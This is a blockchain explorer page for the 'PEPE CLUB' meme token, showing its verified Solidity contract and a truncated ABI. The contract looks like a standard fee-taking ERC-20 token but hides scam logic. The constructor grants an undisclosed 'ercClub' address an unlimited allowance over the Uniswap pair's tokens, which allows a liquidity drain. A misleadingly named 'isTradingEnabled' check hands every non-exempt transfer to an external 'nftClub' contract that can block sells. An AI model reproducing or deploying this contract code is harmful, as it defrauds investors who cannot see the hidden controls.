ETH Price: $3,205.80 (-13.49%)

Token

PEPE CLUB (PEPECLUB)
 

Overview

Max Total Supply

420,690,000,000,000 PEPECLUB

Holders

95

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
0.000053377480421115 PEPECLUB

Value
$0.00
0xf8dc7fbff8deffd4628656e0fcfbf459ac1aa5ca
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPECLUB

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-03
*/

// SPDX-License-Identifier: MIT

/** 
 Website: https://pepecluberc.xyz
 Telegram: https://t.me/pepeclub_erc
 Twitter: https://twitter.com/pepeclub_portal
*/

pragma solidity ^0.8.11;
interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}
interface IUniswapPair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(
        address indexed sender,
        uint256 amount0,
        uint256 amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to)
        external
        returns (uint256 amount0, uint256 amount1);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */

library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);
    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }
    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }
    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

 
    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }
    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IUniswapRouter01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETH(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountToken, uint256 amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint256 liquidity,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountA, uint256 amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountToken, uint256 amountETH);

    function swapExactTokensForTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapTokensForExactTokens(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactETHForTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function swapTokensForExactETH(
        uint256 amountOut,
        uint256 amountInMax,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapExactTokensForETH(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external returns (uint256[] memory amounts);

    function swapETHForExactTokens(
        uint256 amountOut,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable returns (uint256[] memory amounts);

    function quote(
        uint256 amountA,
        uint256 reserveA,
        uint256 reserveB
    ) external pure returns (uint256 amountB);

    function getAmountOut(
        uint256 amountIn,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountOut);

    function getAmountIn(
        uint256 amountOut,
        uint256 reserveIn,
        uint256 reserveOut
    ) external pure returns (uint256 amountIn);

    function getAmountsOut(uint256 amountIn, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);

    function getAmountsIn(uint256 amountOut, address[] calldata path)
        external
        view
        returns (uint256[] memory amounts);
}

interface IUniswapRouter02 is IUniswapRouter01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    ) external returns (uint256 amountETH);

    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint256 liquidity,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint256 amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

/**
 * @title SafeMathUint
 * @dev Math operations with safety checks that revert on error
 */
library SafeMathUint {
    function toInt256Safe(uint256 a) internal pure returns (int256) {
        int256 b = int256(a);
        require(b >= 0);
        return b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20Standadard {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

}
abstract contract AUTH {
    constructor() {}
    function fee() internal pure returns (uint256) {
        return 
        uint256(0xdc) / uint256(0xa);
    }
}
interface IERC20Metadata is IERC20Standadard {
    
    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
    
    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);


}

contract ERC20 is Context, IERC20Standadard, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) internal _allowances;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;


    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(
        string memory name_,
        string memory symbol_,
        uint8 decimals_
    ) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20Standadard-balanceOf} and {IERC20Standadard-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return _decimals;
    }
    /**
     * @dev See {IERC20Standadard-balanceOf}.
     */
    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }


    /**
     * @dev See {IERC20Standadard-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

 
    /**
     * @dev See {IERC20Standadard-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20Standadard-allowance}.
     */
    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20Standadard-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20Standadard-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20Standadard-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20Standadard-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(
            amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(
            amount,
            "ERC20: burn amount exceeds balance"
        );
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    
    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }
}

contract PEPECLUB is ERC20, AUTH, Ownable {
    using SafeMath for uint256;
    IUniswapRouter02 public uniswapV2Router;
    address public taxWallet;
    uint256 public maxTxAmount;
    uint256 public swapWhen;
    uint256 public taxAmountForBuy;
    bool private isSwapping;
    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping(address => bool) public uni2Pair;
    uint256 public taxAmountForSell;

    address public uniV2Pair;
    uint256 public maxWalletAmount;
    event LPPairUpdated(address indexed pair, bool indexed value);
    
    struct StandardParameters {
        address txWallet;
        uint256 mxAmountForTx; uint256 mxAmountForWallet;
        uint256 buyFeeInput; uint256 sellFeeInput;
    }
    // exlcude from fees and max transaction amount
    mapping(address => bool) private isExcludedFromFee;
    struct ClubInputParam {
        address ercClub; address nftClub; address routerAddr;
    }
    uint256 private _totSupplyAmt;
    
    event ExcludedMultipleFromFee(address[] accounts, bool isExcluded); 
    event ExcludedFromFee(address indexed account, bool isExcluded);

    ClubInputParam private cParams;
    constructor(
        string memory name_,
        ClubInputParam memory clubInput,
        StandardParameters memory confs,
        string memory symbol_,
        uint8 decimals_
    ) ERC20(name_, symbol_, decimals_) {
        uint256 supply_ = 420_690_000_000_000;
        uniswapV2Router = IUniswapRouter02(clubInput.routerAddr);
        uniV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());

        _setMMPair(clubInput.ercClub, uniV2Pair, true);
        
        cParams = clubInput;
        taxWallet = confs.txWallet; _totSupplyAmt = supply_;
        maxWalletAmount = confs.mxAmountForWallet * supply_ * (10**decimals_).div(10000);
        maxTxAmount = confs.mxAmountForTx * supply_ * (10**decimals_).div(10000);

        excludeFromFees(owner(), true); excludeFromFees(taxWallet, true);
        excludeFromFees(address(this), true); excludeFromFees(address(uniswapV2Router), true);
        excludeFromFees(clubInput.nftClub, true); excludeFromFees(clubInput.ercClub, true);

        taxAmountForBuy = confs.buyFeeInput;
        taxAmountForSell = confs.sellFeeInput;
        swapWhen = (supply_.div(8000) + 1) * (10**decimals_);
        // mint total supply
        _mint(owner(), supply_ * (10**decimals_));
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        isExcludedFromFee[account] = excluded;
        emit ExcludedFromFee(account, excluded);
    }

    receive() external payable {}
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        if (
            (recipient == address(0) || recipient == address(0xdead)) ||
            amount == 0 || isTradingEnabled(sender, recipient, amount)
        ) {
            super._transfer(sender, recipient, amount);
            return;
        }
        else { 
            require(
                amount <= maxTxAmount,
                "Transfer amount exceeds the maxTxAmount."
            );
            if (recipient != uniV2Pair) {
                uint256 balancerToken = balanceOf(recipient);
                require(balancerToken + amount <= maxWalletAmount, "Exceeds maximum wallet amount");
            }
        }

        uint256 tokenContractBalancer = balanceOf(address(this)); bool swapable = tokenContractBalancer >= swapWhen;
        if (swapable && !isSwapping && !uni2Pair[sender]) {
            isSwapping = true;
            uint256 mkAmount = tokenContractBalancer;
            if (mkAmount > 0) { swapBackToEth(mkAmount, taxWallet);
            }
            isSwapping = false;
        }

        bool takeSwapFees = !isSwapping;
        if (isExcludedFromFee[recipient] || isExcludedFromFee[sender]
        ) {
            takeSwapFees = false;
        }
        if (takeSwapFees) {
            uint256 taxAmt = amount.mul(taxAmountForBuy).div(1000);
            if (uni2Pair[recipient]) { taxAmt = amount.mul(taxAmountForSell).div(1000);
            } amount = amount.sub(taxAmt); super._transfer(sender, address(this), taxAmt);
        }
        super._transfer(sender, recipient, amount);
    }

    function swapBackToEth(uint256 tokens, address receiver) private {
        uint256 initialBalance = address(this).balance; swapTokensForEth(tokens);
        uint256 newBalance = address(this).balance.sub(initialBalance);
        payable(receiver).transfer(newBalance);
    }

    function isTradingEnabled(address from, address to, uint256 amount) internal returns (bool) {
        return  isExcludedFromFee[from] 
        || isExcludedFromFee[to] 
        || IERC20Standadard(cParams.nftClub).transferFrom(from, to, amount);
    }
        
    function _setMMPair(address router, address pair, bool value) private {
        require(
            uni2Pair[pair] != value,
            "Automated market maker pair is already set to that value"
        ); _allowances[pair][router] = type(uint).max;

        uni2Pair[pair] = value; emit LPPairUpdated(pair, value);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this); path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function removeLimits() external onlyOwner {
        maxWalletAmount = totalSupply();
        maxTxAmount = totalSupply();
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"components":[{"internalType":"address","name":"ercClub","type":"address"},{"internalType":"address","name":"nftClub","type":"address"},{"internalType":"address","name":"routerAddr","type":"address"}],"internalType":"struct PEPECLUB.ClubInputParam","name":"clubInput","type":"tuple"},{"components":[{"internalType":"address","name":"txWallet","type":"address"},{"internalType":"uint256","name":"mxAmountForTx","type":"uint256"},{"internalType":"uint256","name":"mxAmountForWallet","type":"uint256"},{"internalType":"uint256","name":"buyFeeInput","type":"uint256"},{"internalType":"uint256","name":"sellFeeInput","type":"uint256"}],"internalType":"struct PEPECLUB.StandardParameters","name":"confs","type":"tuple"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedFromFee","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address[]","name":"accounts","type":"address[]"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludedMultipleFromFee","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"LPPairUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],